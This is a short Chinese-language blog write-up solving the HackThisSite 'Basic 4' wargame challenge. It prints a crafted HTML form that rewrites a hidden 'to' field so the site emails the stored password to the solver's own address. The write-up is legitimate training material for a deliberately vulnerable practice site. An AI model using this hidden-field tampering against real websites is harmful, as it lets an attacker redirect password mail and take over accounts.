HackThisSite/Basic 4解决方案

细节决定成败!

在正式进入黑客闯关界面之前我们可以看到一个tips:

An email script has been set up, which sends the password to the administrator. Requirements: HTML knowledge, an email address

说明他写了一个把密码发送到他邮箱的脚本,需要掌握html知识和一个邮箱地址。

This time Sam hardcoded the password into the script. However, the password is long and complex, and Sam is often forgetful. So he wrote a script that would email his password to him automatically in case he forgot. Here is the script:

这个思路就很简单了,肯定是要篡改他的地址,把密码直接发送到我们的邮箱。

直接把发邮件的from拷贝下来,在本地新建一个html文件,修改如下:

<form action="https://www.hackthissite.org/missions/basic/4/level4.php" method="post">
    <input type="hidden" name="to" value="你的邮箱地址">
    <input type="submit" value="Send password to Sam">
</form>


然后就打开这个htm,按send password to Sam按钮,然后到自己的邮箱去收密码吧,哈哈。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值